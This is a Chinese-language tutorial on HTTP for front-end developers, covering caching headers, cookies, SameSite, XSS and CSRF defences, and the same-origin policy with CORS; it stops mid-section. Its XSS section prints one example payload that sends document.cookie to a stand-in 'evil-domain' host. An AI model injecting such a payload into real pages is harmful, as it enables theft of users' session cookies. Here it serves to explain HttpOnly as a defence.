计算机网络HTTP协议
写在前面:在前后端分离的理念越来越普及的今天,作为一个前端开发,除了前端技术水平要过硬外,最需要花时间学习的莫过于 HTTP 协议。因为前后端分离后,基于 HTTP 协议的 ajax 请求是前后端交互的桥梁,对 HTTP 协议了解的缺失将造成前后端交互与协作的极大麻烦。这一点对初学者尤为重要,在学好 HTML、CSS、JavaScript 与一个现代框架的基础上,一定要花一定的时间学习 HTTP 协议。
简介
HTTP(Hyper Text Transfer Protocol)即超文本传输协议。
它是一种 client-server 协议,通常是由浏览器这样的接受方发起,旨在获得文本、图片、视频、布局描述、脚本等 Web 文档。
HTTP 协议是一种可扩展协议,在网络模型中是基于 TCP 的应用层协议。
基于 HTTP 的组件系统
客户端(user-agent):发起一个请求(requests)的实体,通常是浏览器
服务端:对客户端请求做出响应(response)的实体,通常是服务器
代理(proxies):在客户端与服务端之间转发 HTTP 消息的设备,代理可以是透明的,也可以是不透明的(改变请求)。代理主要有如下作用:
缓存
过滤
负载均衡
认证
日志记录
HTTP 的基本性质
简单:虽然 HTTP/2 将 HTTP 消息封装到了帧(frames)中,但是 HTTP 大体上设计还是简单易读的。
可扩展:HTTP/1.0 版本中 HTTP headers 让协议扩展变得非常容易。只要服务端和客户端就新的 headers 达成语义一致,新功能就可以被轻松地加入进来。
无状态、有会话:在同一个连接中,两个执行成功的请求之间是没有关系的。这就造成同一个用户没法在同一个网站中进行连续的交互,如用户连续添加两个商品至购物车的两个请求没有关系,那么就无法知道用户购物车中到底有什么商品。那么使用 HTTP 头部扩展 HTTP Cookies 就可以解决这个问题,将 Cookies 添加到头部信息中,创建一个会话让用户的每次请求都能共享同样的上下文信息,以达成相同的状态。总结:HTTP 本身是无状态的,但是通过 Cookies 创建了有状态的会话。
HTTP 与连接:连接是由传输层控制的,而 HTTP 是应用层,并不是 HTTP 协议的范围。HTTP 本身并不需要传输层协议是面向连接的,只需要传输层是可靠的,传输层中主要有 TCP 与 UDP 两大协议,TCP 协议是可靠的,因此 HTTP 基于面向连接的 TCP 协议进行消息传递,但连接并非必需的。
在客户端与服务器能够交互前,必需先建立 TCP 连接,由于 TCP 连接的建立要三次握手,是耗时的。HTTP/1.0 默认为每一对 HTTP 请求与响应建立一个单独的 TCP 连接,当需要发起多个请求时,这种模式比多个请求复用同一个连接更低效。
为了解决这个问题 HTTP/1.1 引入了管道(被证明难以实现)和持久连接的概念:即底层的 TCP 连接可以通过 HTTP 头部的 Connection 来控制,保持连接。HTTP/2 则实现了多路复用同一个连接,来使 HTTP 更高效。
前面也说到 HTTP 并不需要面向连接的传输层协议,因此更加适合 HTTP 的协议也一直在研究与设计,Google 以 UDP 协议为基础,设计出了更高效的传输协议 QUIC。
HTTP 能控制什么
良好的扩展性使得越来越多的 Web 功能归 HTTP 控制,缓存与认证很早就归 HTTP 控制了,同源同域的限制到 2010 年才改变。
可以被 HTTP 控制的常见特性:
缓存:服务端能告诉代理与客户端哪些文件需要被缓存,缓存多久,而客户端也能够命令中间的缓存代理来忽略存储的文档。
开放同源限制:为防止网络窥探和其它隐私泄漏,浏览器强制对 Web 网站做了分割限制。只有来自相同来源的网页才能够获取网站的全部信息。这样的限制有时反而成了负担,HTTP 可以通过修改头部来开放这样的限制,因此 Web 文档可以是由不同域下的信息拼接而成的(某些情况下,这样做还有出于安全因素的考虑)。前后端分离、文档资源与多媒体资源的分离,都使得开放同源策略限制变得尤为重要。
认证:一些页面能够被保护起来,仅让特定的用户进行访问。基本的认证功能可以直接通过 HTTP 的 Authenticate 头部提供,或者使用 HTTP Cookies 来设置指定的会话。
代理与隧道:通常服务器与客户端都是处于内网的,对外网隐藏了真实的 IP 地址。因此 HTTP 请求就要通过代理越过这个网络屏障。但并非所有的代理都是 HTTP 代理。例如,SOCKS 协议的代理就运作在更底层,像 FTP 这样的协议也能够被它们处理。
会话:虽然 HTTP 是无状态协议,但使用 HTTP Cookies 允许客户端用一个服务端的状态发起请求,这就创建了会话,使得任何网站都能轻松为用户定制展示的内容了。
HTTP 流
客户端与服务端进行信息交互时的过程:
打开一个 TCP 连接:TCP 连接被用来发送一条或多条请求,以及接收响应消息。客户端可能打开一条新的连接,或重用一个已经存在的连接,或者也可能开几个新的 TCP 连接连向服务端。
发送一个 HTTP 报文:HTTP 报文(在 HTTP/2 前)是语义可读的。在 HTTP/2 中,这些简单的消息被封装在帧中,使得报文不能被直接读取,但原理仍然相同。
读取服务端返回的报文信息。
关闭连接或者为后续请求重用连接。
当 HTTP 管道激活时,后续请求都无需等待第一个请求的成功响应就被发送。但由于现有网络中有很多老旧的软件与现代版本的软件共存,使得管道很难在现有网络中实现。因此 HTTP 管道已经被多请求时有更稳健表现的 HTTP/2 帧所取代。
HTTP 报文
HTTP/1.1 以及更早的 HTTP 协议报文都是语义可读的。在 HTTP/2 中,这些报文被嵌入到了新的二进制结构——帧。帧允许实现很多优化,比如报文头部的压缩和复用。即使只有原始 HTTP 报文的一部分以 HTTP/2 发送出来,每条报文的语义依旧不变,客户端会重组原始 HTTP/1.1 请求。因此用 HTTP/1.1 格式来理解 HTTP/2 报文仍旧有效。
请求
请求的组成:
HTTP method,通常是一个动词(GET、POST)或名词(OPTIONS、HEAD)来定义客户端的动作行为。通常客户端的操作都是获取资源(GET 方法)或者发送 HTML form 表单值(POST 方法)。
要获取资源的路径,通常是上下文显而易见的元素中的资源 URL,它没有协议、域名或 TCP 的端口。简单地理解就是一个相对路径。
HTTP 协议版本号。
向服务端表明其他额外信息的可选头部。
对于 POST 这类的方法,报文的 body 就包含了发送的数据,这与响应报文的 body 类似。
响应
响应的组成:
HTTP 协议版本号。
一个状态码(status code),来告知对应请求执行成功或失败,及失败的原因。
一个状态信息,这个信息是非权威的状态码描述信息,可以由服务端自行设定。
HTTP headers,与请求头部类似。
可选项,body,比起请求报文,响应报文中包含 body 更常见。
基于 HTTP 的 APIs
基于 HTTP 的最常用的 API 是 XMLHttpRequest API,可用于在客户端与服务器间交换数据。现代的 Fetch API 提供相同的功能,并具有更强大和灵活的功能集。
另一种 API,即服务器发送的事件,是一种单向服务,允许服务器使用 HTTP 作为传输机制向客户端发送事件。使用 EventSource 接口,客户端打开连接并建立事件句柄。客户端浏览器自动将到达 HTTP 流的消息转换为适当的 Event 对象,并将它们传递给专门处理这类事件的句柄。若处理相应事件的句柄未建立,就会交给 onmessage 事件处理程序处理。
HTTP 缓存
缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 Web 缓存发现请求的资源已经被存储,它会拦截请求,返回该资源的拷贝,而不会去服务器重新下载。这样带来的好处有:缓解服务器端压力,减少延迟与网络阻塞,能够有效提升网站与应用的性能,进而减少显示某资源所用的时间。对于网站来说,缓存是达到高性能的重要组成部分。缓存需要合理配置,因为并不是所有资源都是永久不变的:重要的是对一个资源的缓存应截止到其下一次发生改变(即不能缓存过期的资源)。
缓存按所有者分类:私有与公共缓存。
私有缓存——浏览器缓存
私有缓存只能用于单独用户。你可能已经见过浏览器设置中的缓存选项。浏览器缓存拥有用户通过 HTTP 下载的所有文档。这些缓存为浏览过的文档提供向后、向前导航,保存网页,查看源码等功能,可以避免再次向服务器发起多余的请求。它同样可以提供缓存内容的离线浏览。
公共缓存——代理缓存
共享缓存可以被多个用户使用。例如 ISP 可能会架设一个 Web 代理来作为本地网络基础的一部分提供给用户。这样热门资源就会被重复使用,减少网络拥堵与延迟。
缓存按功能分类:强缓存与协商缓存。
强缓存:命中后直接从缓存中读取资源,不向服务端请求。
协商缓存:命中后会向服务端请求确认资源是否过期。
缓存操作的目标
虽然 HTTP 缓存不是必需的,但重用缓存资源通常是必要的。然而常见的 HTTP 缓存只能存储 GET 响应,对于其他类型的响应则无能为力。缓存的关键主要包括 request method 和目标 URI。
常见的缓存例子:
一个检索请求的成功响应:响应状态码为 200 的成功 GET 请求。如 HTML 文档、图片、文件的响应。
永久重定向:响应状态码为 301 的响应。
错误响应:响应状态码为 404 的页面。
不完全响应:响应状态码为 206 的只返回局部信息的响应。
除 GET 请求的响应外,响应信息头中带有 Cache-Control 键的响应
Cache-Control 头部(强缓存)
HTTP/1.1 定义的 Cache-Control 头用来区分对缓存机制的支持情况,请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。
可选值 | 用于 | 描述 |
---|---|---|
public | 仅响应 | 响应可以被任何对象缓存(包括发送请求的客户端、代理服务器等),即使是通常不可缓存的内容(例如非 GET 方法的请求) |
private | 仅响应 | 响应只能被单个用户缓存(如对应用户的本地浏览器),不能作为公共缓存(即代理服务器不能缓存) |
no-cache | 请求与响应 | 相当于 max-age=0 的情况,即将响应缓存下来,但每次请求都会当作缓存已过期,向服务端验证缓存是否有更新,无更新返回 304 使用缓存,有更新正常返回 200。(协商缓存验证) |
no-store | 请求与响应 | 不使用任何缓存 |
max-age=<seconds> | 请求与响应 | 设置缓存存储的最大周期,超过这个时间缓存被认为过期(单位:秒)。该设置是相对请求发起时间的秒数,另外该指令会使 Expires 头被忽略 |
s-maxage=<seconds> | 仅响应 | 功能与 max-age 相同,会覆盖 max-age 或 Expires 头,但仅适用于公共缓存(代理服务器),私有缓存(浏览器)会忽略它,另外该指令会使 Expires 头被忽略 |
must-revalidate | 仅响应 | 一旦资源过期,在成功向服务器验证前,缓存不能使用该资源响应后续请求 |
proxy-revalidate | 仅响应 | 功能与 must-revalidate 相同,但仅适用于公共缓存(代理服务器),私有缓存(浏览器)会忽略它 |
no-transform | 请求与响应 | 不得对资源进行转换或转变。Content-Encoding、Content-Range、Content-Type 等 HTTP 头不能由代理修改。例如,非透明代理可能对图像格式进行转换,以便节省缓存空间或者减少缓慢链路上的流量。no-transform 指令则不允许这样做 |
max-stale[=<seconds>] | 仅请求 | 表明客户端愿意接收一个已经过期的资源。可以设置一个可选秒数,表示响应不能过期超过给定的时间 |
min-fresh=<seconds> | 仅请求 | 表示客户端希望获取一个能在指定秒数内保持最新状态的响应 |
only-if-cached | 仅请求 | 表明客户端只接受已经缓存的响应,并且不需要向服务端检查是否有更新的文件 |
Pragma 头部(deprecated,不推荐使用)
Pragma 是 HTTP/1.0 标准中定义的一个 Header 属性,请求中包含 Pragma 头与请求中包含 Cache-Control: no-cache 效果相同,但是 HTTP 的响应头没有明确地定义这个属性,所以不能用来完全替代 Cache-Control 头。通常定义 Pragma 以向后兼容基于 HTTP/1.0 的客户端。
Expires 头部(强缓存)
Expires 响应头包含日期/时间(是一个绝对的日期时间),即在此日期/时间后,缓存过期。0 与过去的日期都是无效的,因为他们表示资源已经过期。
若在 Cache-Control 响应头设置了“max-age”或者“s-maxage”指令,Expires 头会被忽略。
Etag 头部(协商缓存)
ETag 响应头是资源的特定版本标识符。这可以让缓存更高效,并节省带宽,因为如果内容没有改变,Web 服务器不需要发送完整的响应。而如果内容发生了变化,使用 ETag 有助于防止资源的同时更新相互覆盖(“空中碰撞”)。
ETag: [W/]"<etag_value>"
W/
(可选、大小写敏感)表示使用弱验证器。弱验证器易生成,但不利于比较。强验证器是理想选择,但难有效生成。相同资源的两个弱 Etag 值可能语义等同,但不是每个字节都相同。
“
避免“空中碰撞”
在 ETag 和 If-Match 头部的帮助下,可以检测到“空中碰撞”的编辑冲突。
例如当编辑 MDN 时,当前的 wiki 内容被散列,并在响应中放入 ETag,将更改保存到 wiki 页面时,POST 请求用包含有 ETag 值的 If-Match 头来检查是否为最新版本。若哈希值不匹配,则意味着文档已经被编辑,会抛出 412 前置条件失败错误。
缓存未更改的资源
ETag 头的另一个典型用例是缓存未更改的资源。如果用户再次访问设有 ETag 的 URL,资源过期了且不可用,客户端就发送值为 ETag 的 If-None-Match 头。服务器将客户端的 ETag 与当前版本资源的 ETag 进行比较,如果两个值匹配(即资源未更改),服务器将返回不带 body 的 304 未修改状态,告诉客户端缓存仍可用。
Last-Modified 头部(协商缓存)
Last-Modified 是一个响应头部,其中包含服务端认定的资源做出修改的日期时间。它通常被用作验证器来判断资源是否一致。由于精度低于 ETag,所以是个备用机制。If-Modified-Since 与 If-Unmodified-Since 头部会使用这个字段。
缓存控制
请求一个资源时首先会检查强缓存 Cache-Control 的 max-age 或 s-maxage。若未过期则直接使用缓存响应请求;若过期则跳至 3 检查协商缓存;若无 max-age 或 s-maxage 值,则至 2 检查强缓存 Expires;
若检查 Expires 未过期则直接使用缓存响应请求;若过期或不存在 Expires 头则跳至 3 检查协商缓存;
若 ETag 存在,则将 ETag 值带入 If-None-Match 头中请求服务器判断资源是否更新。若未更新,返回不带 body 的 304 Not Modified 响应,直接使用缓存响应请求;若资源已更新,正常返回状态码为 200 的资源;若 ETag 不存在,跳至 4 检查协商缓存;
若 Last-Modified 存在,将 Last-Modified 值带入 If-Modified-Since 头中请求服务器判断资源是否更新。若未更新,返回不带 body 的 304 Not Modified 响应,直接使用缓存响应请求;若资源已更新,正常返回状态码为 200 的资源;若 Last-Modified 不存在,则当作没有缓存,直接正常请求资源
对于含有特定头信息的请求,会去计算缓存寿命。比如 Cache-Control: max-age=N 或 s-maxage=N 的头,相应缓存的寿命就是 N。通常情况下,对于不含这个属性的请求则会去查看是否包含 Expires 属性,通过比较 Expires 的值和头里面 Date 属性值来判断缓存是否还有效,若 Date 属性不存在,则使用本地时间。如果 max-age、s-maxage 和 expires 属性都没有,就会找头部的 Last-Modified 信息。若有,缓存的寿命就等于头里面 Date 的值减去 Last-Modified 的值除以 10。
缓存失效时间计算公式:
expirationTime = responseTime + freshnessLifetime - currentAge
responseTime 指浏览器接收到响应的那个时间点
freshnessLifetime 指缓存的寿命
currentAge 指当前时间点
max-age 与 s-maxage 优先级高于 Expires 原因
由于 Expires 是同 Date 或本地时间做比较,当 Date 不存在使用本地时间时,世界各地由于时差问题,会导致 Expires 判断出错。故 max-age 与 s-maxage 优先级更高。
Etag 优先级高于 Last-Modified 原因
Last-Modified 只精确到秒,一秒内的更新缓存就会检查不到,另外若是资源代码本身没改,但 Last-Modified 被更改,就会导致缓存不必要地更新。而 ETag 则是根据资源内容生成的 hash 值判断,比 Last-Modified 更精确,故优先级更高。
加速资源
更多地利用缓存资源,可以提高网站的性能和响应速度。为了优化缓存,过期时间设置得尽量长是一种很好的策略。对于定期或者频繁更新的资源,这么做是比较稳妥的,但是对于那些长期不更新的资源会有点问题。这些固定的资源在一定时间内受益于这种长期保持的缓存策略,但一旦要更新就会很困难。特指网页上引入的一些 js/css 文件,当它们变动时需要尽快更新线上资源。
web 开发者发明了一种被 Steve Sounders 称之为revving
的技术。不频繁更新的文件会使用特定的命名方式:在 URL 后面(通常是文件名后面)会加上版本号。加上版本号后的资源就被视作一个完全新的独立资源,同时拥有一年甚至更长的缓存过期时长。但是这么做也存在一个弊端,所有引用这个资源的地方都需要更新链接。web 开发者们通常会采用自动化构建工具在实际工作中完成这些琐碎的工作。当低频更新的资源(js/css)变动了,只用在高频变动的资源文件(html)里做入口的改动。
这种方法还有一个好处:同时更新两个缓存资源不会造成部分缓存先更新而引起新旧文件内容不一致。对于互相有依赖关系的 css 和 js 文件,避免这种不一致性是非常重要的。
加在加速文件后面的版本号不一定是一个正式的版本号字符串,如 1.1.3 这样或者其他固定自增的版本数。它可以是任何防止缓存碰撞的标记例如 hash 或者时间戳。
带 Vary 头的响应
Vary
HTTP 响应头决定了对于后续的请求头,如何判断是请求一个新的资源还是使用缓存的文件。
当缓存服务器收到一个请求,只有当前的请求和原始(缓存)的请求头跟缓存的响应头里的 Vary 都匹配,才能使用缓存的响应。
使用 Vary 头有利于内容服务的动态多样性。例如,使用 Vary:User-Agent 头,缓存服务器需要通过 UA 判断是否使用缓存的页面。如果需要区分移动端和桌面端的展示内容,利用这种方式就能避免在不同的终端展示错误的布局。另外,它可以帮助 Google 或者其他搜索引擎更好地发现页面的移动版本,并且告诉搜索引擎没有引入伪装(Cloaking)。
Vary: User-Agent
因为移动版和桌面客户端的请求头中的 User-Agent 不同,缓存服务器不会错误地把移动端的内容输出到桌面端用户。
HTTP Cookie
Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登陆状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。
Cookie 主要用于以下三个方面:
会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
个性化设置(如用户自定义设置、主题等)
浏览器行为跟踪(如跟踪分析用户行为等)
Cookie 曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但随着现代浏览器开始支持各种各样的存储方式,Cookie 作为存储的功能渐渐被淘汰。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器 API 已经允许开发者直接将数据存储在本地,如使用 Web Storage API(本地存储和会话存储)或 IndexedDB。
创建 Cookie
当服务器收到 HTTP 请求时,服务器可以在响应头里面添加一个 Set-Cookie 属性。浏览器收到响应后会将 Set-Cookie 属性中的值保存在浏览器 Cookie 中,之后对该服务器每一次请求中都通过 Cookie 请求头部将 Cookie 信息发送给服务器。另外,Cookie 的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。
Set-Cookie 响应头部和 Cookie 请求头部
服务器使用 Set-Cookie 响应头部向用户代理(一般是浏览器)发送 Cookie 信息。
Set-Cookie: cookie名=cookie值
服务器通过该头部告知客户端保存 Cookie 信息
HTTP/1.0 200 OK
Content-Type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
现在,对该服务器发起的每一次新请求,浏览器都会将之前保存的 Cookie 信息通过 Cookie 请求头部再发送给服务器。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
会话期 Cookie
会话期 Cookie 是最简单的 Cookie:浏览器关闭后它会被自动删除,也就是说它仅在会话期内有效。会话期 Cookie 不需要指定过期时间(Expires)或有效期(Max-Age)。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期 Cookie 也会被保留下来,就好像浏览器从来没有关闭一样。
持久性 Cookie
与会话期 Cookie 不同,持久性 Cookie 可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
提示:当 Cookie 的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。
Cookie 的 Secure 和 HttpOnly 标记
标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure 标记也无法提供确实的安全保障。从 Chrome 52 和 Firefox 52 开始,不安全的站点(http)无法使用 Cookie 的 Secure 标记。为了方便开发环境使用,如果是 localhost,Secure 标记不再强制要求 https 协议。
为避免跨域脚本(XSS)攻击,通过 JavaScript 的 document.cookie API 无法访问带有 HttpOnly 标记的 Cookie,它们只应该发送给服务端。如果包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Cookie 的作用域
Domain 和 Path 标识定义了 Cookie 的作用域:即 Cookie 应该发送给哪些 URL。
Domain 标识指定了哪些主机可以接受 Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了 Domain,则一般包含子域名。
例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。
Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符%x2f
(“/”)作为路径分隔符,子路径也会被匹配。
例如,设置 Path=/docs,则以下地址都会匹配
/docs
/docs/Web/
/docs/Web/HTTP
SameSite Cookie
SameSite Cookie 允许服务器要求某个 Cookie 在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。
SameSite 是 Cookie 相对较新的一个字段,所有主流浏览器都已经得到支持。
Set-Cookie: key=value; SameSite=Strict
SameSite 可以取下面三种值:
None: 浏览器会在同站请求、跨站请求下继续发送 Cookie,不区分大小写;最新标准下 None 不再是默认值,且设置为 None 要求必需使用 Secure 标记,即只能在 Https 环境下使用
Strict:浏览器将只发送相同站点请求的 cookie(即当前网页 URL 与请求目标 URL 完全一致)。如果请求来自与当前 URL 不同的 URL,则不发送标记为 Strict 属性的 Cookie
Lax:在新版本浏览器中为默认值,比 Strict 稍宽松些,只有当用户从外部站点以 GET 请求方式导航到 URL 时才会发送 Cookie,其中仅包括:a 链接、link 标签预加载资源、GET 表单,而 POST 表单、iframe、AJAX、img 则不会发送 Cookie。
以前,如果 SameSite 属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于 None,Cookie 会被包含在任何请求中——包括跨站请求。
但是,在新版本的浏览器中,SameSite 的默认属性是 SameSite=Lax。即当 Cookie 没有设置 SameSite 属性时,将会视为 SameSite 属性被设置为 Lax。
JavaScript 通过 Document.cookie 访问 Cookie
通过 Document.cookie 属性可创建新的 Cookie,也可通过该属性访问非 HttpOnly 标记的 Cookie。
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// "yummy_cookie=choco; tasty_cookie=strawberry"
安全
当处于不安全环境时,切记不能通过 HTTP Cookie 存储、传输敏感信息。
会话劫持与跨站脚本攻击 XSS(cross site script)
在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法就是利用应用程序漏洞进行 XSS 攻击。
xss(由于 cross 有十字架的意思故常用 x 形象地代替 cross 缩写)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户使用被注入的网页后,用户信息等被注入的代码获取,并发送给第三方。这类攻击通常包含了 HTML 以及用户端脚本语言。
xss 的防范
服务端 set-cookie 响应头使用 HttpOnly,防止被 js 获取
对用户的任何输入都进行检查与转义
服务端输出的模板也应用编码与转义防御 xss 攻击
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 类型的 Cookie 由于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。
跨站请求伪造 CSRF (cross site request forgery)
也常被称为 XSRF,是一种冒充用户发起请求,执行非用户本意操作的攻击方法。
攻击者借用户的 Cookie 骗取服务器信任,在用户不知情的情况下,以用户身份伪造请求发送给服务器,执行需要权限的操作。
CSRF 的防范:
使用验证码,验证码保证了请求是在用户交互的情况下完成的请求。
Referer Check,HTTP 头中有一个属性是 Referer,它记录了 HTTP 请求的来源地址,服务端通过 Referer Check,可以检查请求是否来自合法的“源”。Referer Check 还可以用来做图片防盗链。
添加 token 验证。在请求中加入一个攻击者无法伪造且不存在于 Cookie 的 token,在服务端建立一个拦截器来验证 token,只有 token 正确才被认为是真实的请求。
追踪和隐私
第三方 Cookie
每个 Cookie 都会有与之关联的域(Domain),如果 Cookie 的域和页面的域相同,那么我们称这个 Cookie 为第一方 Cookie(first-party cookie),如果 Cookie 的域和页面的域不同,则称之为第三方 Cookie(third-party cookie)。一个页面包含图片或存放在其他域上的资源(如图片广告)时,第一方的 Cookie 也只会发送给设置它们的服务器。通过第三方组件发送的第三方 Cookie 主要用于广告和网络追踪。大多数浏览器默认都允许第三方 Cookie,但可以通过设置来阻止第三方 Cookie。
如果你没有公开你网站上第三方 Cookie 的使用情况,当被用户发觉时,你网站的受信任程度可能会受到影响。一个清晰的声明(如在隐私策略里提及)能够减少或消除这些负面影响。在一些国家已经开始对 Cookie 制订相应的法规。
禁止追踪 Do-Not-Track
虽然没有法律或技术手段强制要求使用 DNT,但是通过 DNT 请求头可以告诉 Web 程序不要对用户行为进行追踪或者跨站追踪。
DNT: 0 //表示用户愿意目标站点追踪用户个人信息
DNT: 1 //表示用户不愿意目标站点追踪用户个人信息
使用 JavaScript 读取 DNT 状态
navigator.doNotTrack; // "0" or "1"
欧盟 Cookie 指令
要求欧盟各成员国通过制定相关法律来满足指令要求,已于 2011 年 5 月 25 日生效。指令内容大致为:在征得用户同意前,网站不允许通过计算机、手机或其他设备存储、检索任何信息。自此,很多网站都在声明中添加了相关说明,告知用户他们的 Cookie 将用于何处。
僵尸 Cookie
Cookie 的一个极端用例是僵尸 Cookie(或称删不掉的 Cookie),这类 Cookie 难以删除,因为删除后会自动重建。它们一般使用 Web Storage API、Flash 本地共享对象或者其他技术手段实现。
Cookie 与 Web Storage API 对比
Cookie | LocalStorage | SessionStorage | |
---|---|---|---|
大小 | 4K | 5M | 5M |
生命周期 | 可设置过期时间,不设置则关闭浏览器后过期 | 永久保存,直至清除 | 关闭页面或浏览器后清除 |
作用域 | 宽松同源策略, |
同源策略,协议、主机、端口一致的页面可共享 LocalStorage(子域不可访问) | 同源策略+浏览器标签页隔离,同一 Tab 标签页下同源网站才可共享 SessionStorage,即在两个标签页中打开同一个网站,也是各自维护各自的 SessionStorage,不可共享 |
传输 | 加了 with-credential 请求头后,每次请求都会携带 Cookie | 不会携带在请求中 | 不会携带在请求中 |
易用性 | 无 get 与 set 接口,使用麻烦 | 原生 API,使用方便 | 原生 API,使用方便 |
HTTP 跨域资源共享 CORS(Cross-Origin Resource Sharing)
跨域资源共享(CORS)是一种机制,它使用额外的 HTTP 头来告诉浏览器让运行在一个 origin(domain)上的 Web 应用被准许访问来自不同源服务器上的指定资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。比如,站点 http://domain-a.com
的某 HTML 页面通过 img 标签的 src 请求http://domain-b.com/image.jpg
。网络上的许多页面都会加载来自不同域的 CSS 样式表,图像和脚本资源。
出于安全原因,浏览器限制从脚本内发起的跨域 HTTP 请求。例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 和 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源,除非响应报文包含了正确 CORS 响应头。
浏览器同源策略
同源策略是一个重要的安全策略,它用于限制一个源的文档或者它加载的脚本与另一个源的资源进行交互。它能帮助阻隔恶意文档,减少可能被攻击的媒介。
同源的定义
如果两个 URL 的协议(protocal)、主机(host)、端口(port)都相同,则这两个 URL 同源。
源的继承
在页面中通过about:blank
或javascript:URL
执行的脚本会继承打开该 URL 的文档的源,因为这些类型的 URLs 没有包含源服务器的相关信息。
例如,about:blank
通常作为父脚本弹出的空白窗口的 URL(window.open())。若此弹出窗口也包含 JavaScript,则该脚本将从创建它的脚本那里继承对应的源。值得注意的是 data:URLs 获得的是一个新的、空的安全上下文。
源的更改
满足某些限制条件的情况下,页面可以修改它的源。脚本可以将 document.domain 的值设置为当前域或当前域的父域。如果将其设置为当前域的父域,则这个较短的父域将会用于页面后续的源检查。
例如:在http://store.company.com/dir/other.html
文档中的一个脚本执行了更改源的语句document.domain = "company.com";
,语句执行后,页面将会成功地通过与http://company.com/dir/page.html
的同源检测(这里假定http://company.com/dir/page.html
已经将document.domain
设置为company.com
,后面会讲原因)。非常重要的是,源的修改只能向自己的父域修改,不可以修改至其他源(如本例中不能修改为othercompany.com
),当然如果当前域已经是一级域(如company.com
),则无法修改为父域(com
),因为父域已经是顶域了,如果可以修改为顶域,就会导致所有 com 顶域都同源的情况。
端口号是由浏览器另行检查的。任何对 document.domain 的赋值操作,包括document.domain = document.domain
都会导致端口号被重写为 null。因此http://company.com:8080
单方面设置document.domain = "company.com"
还不够,还必需在http://company.com
(默认端口是 80)中也进行赋值操作document.domain = "company.com"
,以确保端口号都为 null。前面设置子域的 document.domain 来访问父域时,我们假定父域已修改也是出于这个原因,即使看起来父域的设置多此一举,但隐含的端口号其实不一致(一个为 null,一个为 80),同时设置避免了端口号不同造成的同源判定失败。
注意:这种方法改变源并不影响 Web API 使用的源检查(例如 localStorage、indexedDB、BroadcastChannel、SharedWorker),故只有 Cookie 能以此法绕过源检查,但这样做会影响整个网页的安全性,Cookie 本身的 Domain 参数足以使 Cookie 在子域中共享,无需使用这个风险更高的操作。
跨域网络访问
同源策略控制不同源之间的交互,这些交互通常分为三类:
跨域写操作(Cross-Origin Writes)一般是被允许的。例如链接(links),重定向以及表单提交。特定少数 HTTP 请求需要添加 preflight。
跨域资源嵌入(Cross-Origin Embedding)一般是被允许的。
script 标签嵌入跨域脚本。语法错误信息只能被同源脚本捕获。
link 标签嵌入 CSS。由于 CSS 松散的语法规则,CSS 跨域需要设置正确的 HTTP 头部 Content-Type,这在不同的浏览器中有不同的限制。
通过 img 标签展示的图片。支持的格式包括 PNG、JPEG、GIF、BMP、SVG 等。
通过 video 标签与 audio 标签播放的多媒体资源。
通过 object、embed、applet 三种标签嵌入的插件。
通过@font-face 引入的字体。一些浏览器支持跨域字体,一些需要使用同源字体。
通过 iframe 标签载入的任何资源。站点可以使用 X-Frame-Options 消息头来阻止这种形式的跨域交互。
跨域读操作(Cross-Origin Reads)一般是不被允许的,但可以通过内嵌资源来巧妙进行读取访问。
允许跨域访问:
- 我们使用跨域资源共享(CORS)来允许跨域访问。CORS 是 HTTP 的一部分,允许服务端来指定哪些主机可以从这个服务端加载资源。
阻止跨域访问:
阻止跨域写操作,只要检测请求中的一个不可被推测标记(CSRF token)即可,这个标记被称为跨站请求伪造标记。若请求中没有这个标记,则将请求当作伪造请求,阻止访问。
阻止资源的跨域读取,最重要的是保证该资源是不可嵌入的,因为嵌入资源通常不被限制。
阻止跨站嵌入,首先需要确保资源是不能转译后通过嵌入资源格式使用的。其次就是设置 CSRF 标记来防止嵌入。
跨域脚本 API 访问
